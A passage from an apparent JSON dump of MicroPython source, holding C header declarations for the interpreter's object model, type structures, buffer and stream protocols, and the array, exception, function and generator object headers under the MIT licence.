self_in, mp_obj_iter_buf_t *iter_buf);\n\n// Buffer protocol\ntypedef struct _mp_buffer_info_t {\n    // if we'd bother to support various versions of structure\n    // (with different number of fields), we can distinguish\n    // them with ver = sizeof(struct). Cons: overkill for *micro*?\n    //int ver; // ?\n\n    void *buf;      // can be NULL if len == 0\n    size_t len;     // in bytes\n    int typecode;   // as per binary.h\n\n    // Rationale: to load arbitrary-sized sprites directly to LCD\n    // Cons: a bit adhoc usecase\n    // int stride;\n} mp_buffer_info_t;\n#define MP_BUFFER_READ  (1)\n#define MP_BUFFER_WRITE (2)\n#define MP_BUFFER_RW (MP_BUFFER_READ | MP_BUFFER_WRITE)\ntypedef struct _mp_buffer_p_t {\n    mp_int_t (*get_buffer)(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags);\n} mp_buffer_p_t;\nbool mp_get_buffer(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags);\nvoid mp_get_buffer_raise(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags);\n\n// Stream protocol\ntypedef struct _mp_stream_p_t {\n    // On error, functions should return MP_STREAM_ERROR and fill in *errcode (values\n    // are implementation-dependent, but will be exposed to user, e.g. via exception).\n    mp_uint_t (*read)(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode);\n    mp_uint_t (*write)(mp_obj_t obj, const void *buf, mp_uint_t size, int *errcode);\n    mp_uint_t (*ioctl)(mp_obj_t obj, mp_uint_t request, uintptr_t arg, int *errcode);\n    mp_uint_t is_text : 1; // default is bytes, set this for text stream\n} mp_stream_p_t;\n\nstruct _mp_obj_type_t {\n    // A type is an object so must start with this entry, which points to mp_type_type.\n    mp_obj_base_t base;\n\n    // The name of this type.\n    qstr name;\n\n    // Corresponds to __repr__ and __str__ special methods.\n    mp_print_fun_t print;\n\n    // Corresponds to __new__ and __init__ special methods, to make an instance of the type.\n    mp_make_new_fun_t make_new;\n\n    // Corresponds to __call__ special method, ie T(...).\n    mp_call_fun_t call;\n\n    // Implements unary and binary operations.\n    // Can return MP_OBJ_NULL if the operation is not supported.\n    mp_unary_op_fun_t unary_op;\n    mp_binary_op_fun_t binary_op;\n\n    // Implements load, store and delete attribute.\n    //\n    // dest[0] = MP_OBJ_NULL means load\n    //  return: for fail, do nothing\n    //          for attr, dest[0] = value\n    //          for method, dest[0] = method, dest[1] = self\n    //\n    // dest[0,1] = {MP_OBJ_SENTINEL, MP_OBJ_NULL} means delete\n    // dest[0,1] = {MP_OBJ_SENTINEL, object} means store\n    //  return: for fail, do nothing\n    //          for success set dest[0] = MP_OBJ_NULL\n    mp_attr_fun_t attr;\n\n    // Implements load, store and delete subscripting:\n    //  - value = MP_OBJ_SENTINEL means load\n    //  - value = MP_OBJ_NULL means delete\n    //  - all other values mean store the value\n    // Can return MP_OBJ_NULL if operation not supported.\n    mp_subscr_fun_t subscr;\n\n    // Corresponds to __iter__ special method.\n    // Can use the given mp_obj_iter_buf_t to store iterator object,\n    // otherwise can return a pointer to an object on the heap.\n    mp_getiter_fun_t getiter;\n\n    // Corresponds to __next__ special method.  May return MP_OBJ_STOP_ITERATION\n    // as an optimisation instead of raising StopIteration() with no args.\n    mp_fun_1_t iternext;\n\n    // Implements the buffer protocol if supported by this type.\n    mp_buffer_p_t buffer_p;\n\n    // One of disjoint protocols (interfaces), like mp_stream_p_t, etc.\n    const void *protocol;\n\n    // A pointer to the parents of this type:\n    //  - 0 parents: pointer is NULL (object is implicitly the single parent)\n    //  - 1 parent: a pointer to the type of that parent\n    //  - 2 or more parents: pointer to a tuple object containing the parent types\n    const void *parent;\n\n    // A dict mapping qstrs to objects local methods/constants/etc.\n    struct _mp_obj_dict_t *locals_dict;\n};\n\n// Constant types, globally accessible\nextern const mp_obj_type_t mp_type_type;\nextern const mp_obj_type_t mp_type_object;\nextern const mp_obj_type_t mp_type_NoneType;\nextern const mp_obj_type_t mp_type_bool;\nextern const mp_obj_type_t mp_type_int;\nextern const mp_obj_type_t mp_type_str;\nextern const mp_obj_type_t mp_type_bytes;\nextern const mp_obj_type_t mp_type_bytearray;\nextern const mp_obj_type_t mp_type_memoryview;\nextern const mp_obj_type_t mp_type_float;\nextern const mp_obj_type_t mp_type_complex;\nextern const mp_obj_type_t mp_type_tuple;\nextern const mp_obj_type_t mp_type_list;\nextern const mp_obj_type_t mp_type_map; // map (the python builtin, not the dict implementation detail)\nextern const mp_obj_type_t mp_type_enumerate;\nextern const mp_obj_type_t mp_type_filter;\nextern const mp_obj_type_t mp_type_dict;\nextern const mp_obj_type_t mp_type_ordereddict;\nextern const mp_obj_type_t mp_type_range;\nextern const mp_obj_type_t mp_type_set;\nextern const mp_obj_type_t mp_type_frozenset;\nextern const mp_obj_type_t mp_type_slice;\nextern const mp_obj_type_t mp_type_zip;\nextern const mp_obj_type_t mp_type_array;\nextern const mp_obj_type_t mp_type_super;\nextern const mp_obj_type_t mp_type_gen_instance;\nextern const mp_obj_type_t mp_type_fun_builtin_0;\nextern const mp_obj_type_t mp_type_fun_builtin_1;\nextern const mp_obj_type_t mp_type_fun_builtin_2;\nextern const mp_obj_type_t mp_type_fun_builtin_3;\nextern const mp_obj_type_t mp_type_fun_builtin_var;\nextern const mp_obj_type_t mp_type_fun_bc;\nextern const mp_obj_type_t mp_type_module;\nextern const mp_obj_type_t mp_type_staticmethod;\nextern const mp_obj_type_t mp_type_classmethod;\nextern const mp_obj_type_t mp_type_property;\nextern const mp_obj_type_t mp_type_stringio;\nextern const mp_obj_type_t mp_type_bytesio;\nextern const mp_obj_type_t mp_type_reversed;\nextern const mp_obj_type_t mp_type_polymorph_iter;\n\n// Exceptions\nextern const mp_obj_type_t mp_type_BaseException;\nextern const mp_obj_type_t mp_type_ArithmeticError;\nextern const mp_obj_type_t mp_type_AssertionError;\nextern const mp_obj_type_t mp_type_AttributeError;\nextern const mp_obj_type_t mp_type_EOFError;\nextern const mp_obj_type_t mp_type_Exception;\nextern const mp_obj_type_t mp_type_GeneratorExit;\nextern const mp_obj_type_t mp_type_ImportError;\nextern const mp_obj_type_t mp_type_IndentationError;\nextern const mp_obj_type_t mp_type_IndexError;\nextern const mp_obj_type_t mp_type_KeyboardInterrupt;\nextern const mp_obj_type_t mp_type_KeyError;\nextern const mp_obj_type_t mp_type_LookupError;\nextern const mp_obj_type_t mp_type_MemoryError;\nextern const mp_obj_type_t mp_type_NameError;\nextern const mp_obj_type_t mp_type_NotImplementedError;\nextern const mp_obj_type_t mp_type_OSError;\nextern const mp_obj_type_t mp_type_TimeoutError;\nextern const mp_obj_type_t mp_type_OverflowError;\nextern const mp_obj_type_t mp_type_RuntimeError;\nextern const mp_obj_type_t mp_type_StopAsyncIteration;\nextern const mp_obj_type_t mp_type_StopIteration;\nextern const mp_obj_type_t mp_type_SyntaxError;\nextern const mp_obj_type_t mp_type_SystemExit;\nextern const mp_obj_type_t mp_type_TypeError;\nextern const mp_obj_type_t mp_type_UnicodeError;\nextern const mp_obj_type_t mp_type_ValueError;\nextern const mp_obj_type_t mp_type_ViperTypeError;\nextern const mp_obj_type_t mp_type_ZeroDivisionError;\n\n// Constant objects, globally accessible\n// The macros are for convenience only\n#define mp_const_none (MP_OBJ_FROM_PTR(&mp_const_none_obj))\n#define mp_const_false (MP_OBJ_FROM_PTR(&mp_const_false_obj))\n#define mp_const_true (MP_OBJ_FROM_PTR(&mp_const_true_obj))\n#define mp_const_empty_bytes (MP_OBJ_FROM_PTR(&mp_const_empty_bytes_obj))\n#define mp_const_empty_tuple (MP_OBJ_FROM_PTR(&mp_const_empty_tuple_obj))\nextern const struct _mp_obj_none_t mp_const_none_obj;\nextern const struct _mp_obj_bool_t mp_const_false_obj;\nextern const struct _mp_obj_bool_t mp_const_true_obj;\nextern const struct _mp_obj_str_t mp_const_empty_bytes_obj;\nextern const struct _mp_obj_tuple_t mp_const_empty_tuple_obj;\nextern const struct _mp_obj_singleton_t mp_const_ellipsis_obj;\nextern const struct _mp_obj_singleton_t mp_const_notimplemented_obj;\nextern const struct _mp_obj_exception_t mp_const_MemoryError_obj;\nextern const struct _mp_obj_exception_t mp_const_GeneratorExit_obj;\n\n// General API for objects\n\nmp_obj_t mp_obj_new_type(qstr name, mp_obj_t bases_tuple, mp_obj_t locals_dict);\nmp_obj_t mp_obj_new_none(void);\nstatic inline mp_obj_t mp_obj_new_bool(mp_int_t x) { return x ? mp_const_true : mp_const_false; }\nmp_obj_t mp_obj_new_cell(mp_obj_t obj);\nmp_obj_t mp_obj_new_int(mp_int_t value);\nmp_obj_t mp_obj_new_int_from_uint(mp_uint_t value);\nmp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base);\nmp_obj_t mp_obj_new_int_from_ll(long long val); // this must return a multi-precision integer object (or raise an overflow exception)\nmp_obj_t mp_obj_new_int_from_ull(unsigned long long val); // this must return a multi-precision integer object (or raise an overflow exception)\nmp_obj_t mp_obj_new_str(const char* data, size_t len, bool make_qstr_if_not_already);\nmp_obj_t mp_obj_new_str_from_vstr(const mp_obj_type_t *type, vstr_t *vstr);\nmp_obj_t mp_obj_new_bytes(const byte* data, size_t len);\nmp_obj_t mp_obj_new_bytearray(size_t n, void *items);\nmp_obj_t mp_obj_new_bytearray_by_ref(size_t n, void *items);\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_obj_t mp_obj_new_int_from_float(mp_float_t val);\nmp_obj_t mp_obj_new_complex(mp_float_t real, mp_float_t imag);\n#endif\nmp_obj_t mp_obj_new_exception(const mp_obj_type_t *exc_type);\nmp_obj_t mp_obj_new_exception_arg1(const mp_obj_type_t *exc_type, mp_obj_t arg);\nmp_obj_t mp_obj_new_exception_args(const mp_obj_type_t *exc_type, size_t n_args, const mp_obj_t *args);\nmp_obj_t mp_obj_new_exception_msg(const mp_obj_type_t *exc_type, const char *msg);\nmp_obj_t mp_obj_new_exception_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...); // counts args by number of % symbols in fmt, excluding %%; can only handle void* sizes (ie no float/double!)\nmp_obj_t mp_obj_new_fun_bc(mp_obj_t def_args, mp_obj_t def_kw_args, const byte *code, const mp_uint_t *const_table);\nmp_obj_t mp_obj_new_fun_native(mp_obj_t def_args_in, mp_obj_t def_kw_args, const void *fun_data, const mp_uint_t *const_table);\nmp_obj_t mp_obj_new_fun_viper(size_t n_args, void *fun_data, mp_uint_t type_sig);\nmp_obj_t mp_obj_new_fun_asm(size_t n_args, void *fun_data, mp_uint_t type_sig);\nmp_obj_t mp_obj_new_gen_wrap(mp_obj_t fun);\nmp_obj_t mp_obj_new_closure(mp_obj_t fun, size_t n_closed, const mp_obj_t *closed);\nmp_obj_t mp_obj_new_tuple(size_t n, const mp_obj_t *items);\nmp_obj_t mp_obj_new_list(size_t n, mp_obj_t *items);\nmp_obj_t mp_obj_new_dict(size_t n_args);\nmp_obj_t mp_obj_new_set(size_t n_args, mp_obj_t *items);\nmp_obj_t mp_obj_new_slice(mp_obj_t start, mp_obj_t stop, mp_obj_t step);\nmp_obj_t mp_obj_new_bound_meth(mp_obj_t meth, mp_obj_t self);\nmp_obj_t mp_obj_new_getitem_iter(mp_obj_t *args, mp_obj_iter_buf_t *iter_buf);\nmp_obj_t mp_obj_new_module(qstr module_name);\nmp_obj_t mp_obj_new_memoryview(byte typecode, size_t nitems, void *items);\n\nmp_obj_type_t *mp_obj_get_type(mp_const_obj_t o_in);\nconst char *mp_obj_get_type_str(mp_const_obj_t o_in);\nbool mp_obj_is_subclass_fast(mp_const_obj_t object, mp_const_obj_t classinfo); // arguments should be type objects\nmp_obj_t mp_instance_cast_to_native_base(mp_const_obj_t self_in, mp_const_obj_t native_type);\n\nvoid mp_obj_print_helper(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind);\nvoid mp_obj_print(mp_obj_t o, mp_print_kind_t kind);\nvoid mp_obj_print_exception(const mp_print_t *print, mp_obj_t exc);\n\nbool mp_obj_is_true(mp_obj_t arg);\nbool mp_obj_is_callable(mp_obj_t o_in);\nbool mp_obj_equal(mp_obj_t o1, mp_obj_t o2);\n\nmp_int_t mp_obj_get_int(mp_const_obj_t arg);\nmp_int_t mp_obj_get_int_truncated(mp_const_obj_t arg);\nbool mp_obj_get_int_maybe(mp_const_obj_t arg, mp_int_t *value);\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mp_obj_get_float(mp_obj_t self_in);\nvoid mp_obj_get_complex(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag);\n#endif\n//qstr mp_obj_get_qstr(mp_obj_t arg);\nvoid mp_obj_get_array(mp_obj_t o, size_t *len, mp_obj_t **items); // *items may point inside a GC block\nvoid mp_obj_get_array_fixed_n(mp_obj_t o, size_t len, mp_obj_t **items); // *items may point inside a GC block\nsize_t mp_get_index(const mp_obj_type_t *type, size_t len, mp_obj_t index, bool is_slice);\nmp_obj_t mp_obj_id(mp_obj_t o_in);\nmp_obj_t mp_obj_len(mp_obj_t o_in);\nmp_obj_t mp_obj_len_maybe(mp_obj_t o_in); // may return MP_OBJ_NULL\nmp_obj_t mp_obj_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t val);\nmp_obj_t mp_generic_unary_op(mp_uint_t op, mp_obj_t o_in);\n\n// cell\nmp_obj_t mp_obj_cell_get(mp_obj_t self_in);\nvoid mp_obj_cell_set(mp_obj_t self_in, mp_obj_t obj);\n\n// int\n// For long int, returns value truncated to mp_int_t\nmp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in);\n// Will raise exception if value doesn't fit into mp_int_t\nmp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in);\n\n// exception\n#define mp_obj_is_native_exception_instance(o) (mp_obj_get_type(o)->make_new == mp_obj_exception_make_new)\nbool mp_obj_is_exception_type(mp_obj_t self_in);\nbool mp_obj_is_exception_instance(mp_obj_t self_in);\nbool mp_obj_exception_match(mp_obj_t exc, mp_const_obj_t exc_type);\nvoid mp_obj_exception_clear_traceback(mp_obj_t self_in);\nvoid mp_obj_exception_add_traceback(mp_obj_t self_in, qstr file, size_t line, qstr block);\nvoid mp_obj_exception_get_traceback(mp_obj_t self_in, size_t *n, size_t **values);\nmp_obj_t mp_obj_exception_get_value(mp_obj_t self_in);\nmp_obj_t mp_obj_exception_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args);\nmp_obj_t mp_alloc_emergency_exception_buf(mp_obj_t size_in);\nvoid mp_init_emergency_exception_buf(void);\n\n// str\nbool mp_obj_str_equal(mp_obj_t s1, mp_obj_t s2);\nqstr mp_obj_str_get_qstr(mp_obj_t self_in); // use this if you will anyway convert the string to a qstr\nconst char *mp_obj_str_get_str(mp_obj_t self_in); // use this only if you need the string to be null terminated\nconst char *mp_obj_str_get_data(mp_obj_t self_in, size_t *len);\nmp_obj_t mp_obj_str_intern(mp_obj_t str);\nvoid mp_str_print_quoted(const mp_print_t *print, const byte *str_data, size_t str_len, bool is_bytes);\n\n#if MICROPY_PY_BUILTINS_FLOAT\n// float\n#if MICROPY_FLOAT_HIGH_QUALITY_HASH\nmp_int_t mp_float_hash(mp_float_t val);\n#else\nstatic inline mp_int_t mp_float_hash(mp_float_t val) { return (mp_int_t)val; }\n#endif\nmp_obj_t mp_obj_float_binary_op(mp_uint_t op, mp_float_t lhs_val, mp_obj_t rhs); // can return MP_OBJ_NULL if op not supported\n\n// complex\nvoid mp_obj_complex_get(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag);\nmp_obj_t mp_obj_complex_binary_op(mp_uint_t op, mp_float_t lhs_real, mp_float_t lhs_imag, mp_obj_t rhs_in); // can return MP_OBJ_NULL if op not supported\n#else\n#define mp_obj_is_float(o) (false)\n#endif\n\n// tuple\nvoid mp_obj_tuple_get(mp_obj_t self_in, size_t *len, mp_obj_t **items);\nvoid mp_obj_tuple_del(mp_obj_t self_in);\nmp_int_t mp_obj_tuple_hash(mp_obj_t self_in);\n\n// list\nstruct _mp_obj_list_t;\nvoid mp_obj_list_init(struct _mp_obj_list_t *o, size_t n);\nmp_obj_t mp_obj_list_append(mp_obj_t self_in, mp_obj_t arg);\nmp_obj_t mp_obj_list_remove(mp_obj_t self_in, mp_obj_t value);\nvoid mp_obj_list_get(mp_obj_t self_in, size_t *len, mp_obj_t **items);\nvoid mp_obj_list_set_len(mp_obj_t self_in, size_t len);\nvoid mp_obj_list_store(mp_obj_t self_in, mp_obj_t index, mp_obj_t value);\nmp_obj_t mp_obj_list_sort(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs);\n\n// dict\ntypedef struct _mp_obj_dict_t {\n    mp_obj_base_t base;\n    mp_map_t map;\n} mp_obj_dict_t;\nvoid mp_obj_dict_init(mp_obj_dict_t *dict, size_t n_args);\nsize_t mp_obj_dict_len(mp_obj_t self_in);\nmp_obj_t mp_obj_dict_get(mp_obj_t self_in, mp_obj_t index);\nmp_obj_t mp_obj_dict_store(mp_obj_t self_in, mp_obj_t key, mp_obj_t value);\nmp_obj_t mp_obj_dict_delete(mp_obj_t self_in, mp_obj_t key);\nmp_map_t *mp_obj_dict_get_map(mp_obj_t self_in);\n\n// set\nvoid mp_obj_set_store(mp_obj_t self_in, mp_obj_t item);\n\n// slice\nvoid mp_obj_slice_get(mp_obj_t self_in, mp_obj_t *start, mp_obj_t *stop, mp_obj_t *step);\n\n// functions\n\ntypedef struct _mp_obj_fun_builtin_fixed0_t {\n    mp_obj_base_t base;\n    mp_fun_0_t fun;\n} mp_obj_fun_builtin_fixed0_t;\n\ntypedef struct _mp_obj_fun_builtin_fixed1_t {\n    mp_obj_base_t base;\n    mp_fun_1_t fun;\n} mp_obj_fun_builtin_fixed1_t;\n\ntypedef struct _mp_obj_fun_builtin_fixed2_t {\n    mp_obj_base_t base;\n    mp_fun_2_t fun;\n} mp_obj_fun_builtin_fixed2_t;\n\ntypedef struct _mp_obj_fun_builtin_fixed3_t {\n    mp_obj_base_t base;\n    mp_fun_3_t fun;\n} mp_obj_fun_builtin_fixed3_t;\n\n#define MP_OBJ_FUN_ARGS_MAX (0xffff) // to set maximum value in n_args_max below\n\ntypedef struct _mp_obj_fun_builtin_var_t {\n    mp_obj_base_t base;\n    bool is_kw : 1;\n    mp_uint_t n_args_min : 15; // inclusive\n    mp_uint_t n_args_max : 16; // inclusive\n    mp_fun_var_t fun;\n} mp_obj_fun_builtin_var_t;\n\ntypedef struct _mp_obj_fun_builtin_kw_t {\n    mp_obj_base_t base;\n    bool is_kw : 1;\n    mp_uint_t n_args_min : 15; // inclusive\n    mp_uint_t n_args_max : 16; // inclusive\n    mp_fun_kw_t fun;\n} mp_obj_fun_builtin_kw_t;\n\nqstr mp_obj_fun_get_name(mp_const_obj_t fun);\nqstr mp_obj_code_get_name(const byte *code_info);\n\nmp_obj_t mp_identity(mp_obj_t self);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_identity_obj);\nmp_obj_t mp_identity_getiter(mp_obj_t self, mp_obj_iter_buf_t *iter_buf);\n\n// module\ntypedef struct _mp_obj_module_t {\n    mp_obj_base_t base;\n    mp_obj_dict_t *globals;\n} mp_obj_module_t;\nmp_obj_dict_t *mp_obj_module_get_globals(mp_obj_t self_in);\n// check if given module object is a package\nbool mp_obj_is_package(mp_obj_t module);\n\n// staticmethod and classmethod types; defined here so we can make const versions\n// this structure is used for instances of both staticmethod and classmethod\ntypedef struct _mp_obj_static_class_method_t {\n    mp_obj_base_t base;\n    mp_obj_t fun;\n} mp_obj_static_class_method_t;\ntypedef struct _mp_rom_obj_static_class_method_t {\n    mp_obj_base_t base;\n    mp_rom_obj_t fun;\n} mp_rom_obj_static_class_method_t;\n\n// property\nconst mp_obj_t *mp_obj_property_get(mp_obj_t self_in);\n\n// sequence helpers\n\n// slice indexes resolved to particular sequence\ntypedef struct {\n    mp_uint_t start;\n    mp_uint_t stop;\n    mp_int_t step;\n} mp_bound_slice_t;\n\nvoid mp_seq_multiply(const void *items, size_t item_sz, size_t len, size_t times, void *dest);\n#if MICROPY_PY_BUILTINS_SLICE\nbool mp_seq_get_fast_slice_indexes(mp_uint_t len, mp_obj_t slice, mp_bound_slice_t *indexes);\n#endif\n#define mp_seq_copy(dest, src, len, item_t) memcpy(dest, src, len * sizeof(item_t))\n#define mp_seq_cat(dest, src1, len1, src2, len2, item_t) { memcpy(dest, src1, (len1) * sizeof(item_t)); memcpy(dest + (len1), src2, (len2) * sizeof(item_t)); }\nbool mp_seq_cmp_bytes(mp_uint_t op, const byte *data1, size_t len1, const byte *data2, size_t len2);\nbool mp_seq_cmp_objs(mp_uint_t op, const mp_obj_t *items1, size_t len1, const mp_obj_t *items2, size_t len2);\nmp_obj_t mp_seq_index_obj(const mp_obj_t *items, size_t len, size_t n_args, const mp_obj_t *args);\nmp_obj_t mp_seq_count_obj(const mp_obj_t *items, size_t len, mp_obj_t value);\nmp_obj_t mp_seq_extract_slice(size_t len, const mp_obj_t *seq, mp_bound_slice_t *indexes);\n// Helper to clear stale pointers from allocated, but unused memory, to preclude GC problems\n#define mp_seq_clear(start, len, alloc_len, item_sz) memset((byte*)(start) + (len) * (item_sz), 0, ((alloc_len) - (len)) * (item_sz))\n#define mp_seq_replace_slice_no_grow(dest, dest_len, beg, end, slice, slice_len, item_sz) \\\n    /*printf(\"memcpy(%p, %p, %d)\\n\", dest + beg, slice, slice_len * (item_sz));*/ \\\n    memcpy(((char*)dest) + (beg) * (item_sz), slice, slice_len * (item_sz)); \\\n    /*printf(\"memmove(%p, %p, %d)\\n\", dest + (beg + slice_len), dest + end, (dest_len - end) * (item_sz));*/ \\\n    memmove(((char*)dest) + (beg + slice_len) * (item_sz), ((char*)dest) + (end) * (item_sz), (dest_len - end) * (item_sz));\n\n// Note: dest and slice regions may overlap\n#define mp_seq_replace_slice_grow_inplace(dest, dest_len, beg, end, slice, slice_len, len_adj, item_sz) \\\n    /*printf(\"memmove(%p, %p, %d)\\n\", dest + beg + len_adj, dest + beg, (dest_len - beg) * (item_sz));*/ \\\n    memmove(((char*)dest) + (beg + slice_len) * (item_sz), ((char*)dest) + (end) * (item_sz), ((dest_len) + (len_adj) - ((beg) + (slice_len))) * (item_sz)); \\\n    memmove(((char*)dest) + (beg) * (item_sz), slice, slice_len * (item_sz));\n\n#endif // MICROPY_INCLUDED_PY_OBJ_H\n"
  },
  {
    "path": "micropython/inc/py/objarray.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJARRAY_H\n#define MICROPY_INCLUDED_PY_OBJARRAY_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_array_t {\n    mp_obj_base_t base;\n    size_t typecode : 8;\n    // free is number of unused elements after len used elements\n    // alloc size = len + free\n    size_t free : (8 * sizeof(size_t) - 8);\n    size_t len; // in elements\n    void *items;\n} mp_obj_array_t;\n\n#endif // MICROPY_INCLUDED_PY_OBJARRAY_H\n"
  },
  {
    "path": "micropython/inc/py/objexcept.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJEXCEPT_H\n#define MICROPY_INCLUDED_PY_OBJEXCEPT_H\n\n#include \"py/obj.h\"\n#include \"py/objtuple.h\"\n\ntypedef struct _mp_obj_exception_t {\n    mp_obj_base_t base;\n    size_t traceback_alloc : (8 * sizeof(size_t) / 2);\n    size_t traceback_len : (8 * sizeof(size_t) / 2);\n    size_t *traceback_data;\n    mp_obj_tuple_t *args;\n} mp_obj_exception_t;\n\n#endif // MICROPY_INCLUDED_PY_OBJEXCEPT_H\n"
  },
  {
    "path": "micropython/inc/py/objfun.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJFUN_H\n#define MICROPY_INCLUDED_PY_OBJFUN_H\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_fun_bc_t {\n    mp_obj_base_t base;\n    mp_obj_dict_t *globals;         // the context within which this function was defined\n    const byte *bytecode;           // bytecode for the function\n    const mp_uint_t *const_table;   // constant table\n    // the following extra_args array is allocated space to take (in order):\n    //  - values of positional default args (if any)\n    //  - a single slot for default kw args dict (if it has them)\n    //  - a single slot for var args tuple (if it takes them)\n    //  - a single slot for kw args dict (if it takes them)\n    mp_obj_t extra_args[];\n} mp_obj_fun_bc_t;\n\n#endif // MICROPY_INCLUDED_PY_OBJFUN_H\n"
  },
  {
    "path": "micropython/inc/py/objgenerator.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJGENERATOR_H\n#define MICROPY_INCLUDED_PY_OBJGENERATOR_H\n\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n\nmp_vm_return_kind_t mp_obj_gen_resume(mp_obj_t self_in, mp_obj_t send_val, mp_obj_t throw_val, mp_obj_t *ret_val);\n\n#endif // MICROPY_INCLUDED_PY_OBJGENERATOR_H\n"
  },
  {
    "path": "micropython/inc/py/objint.h",
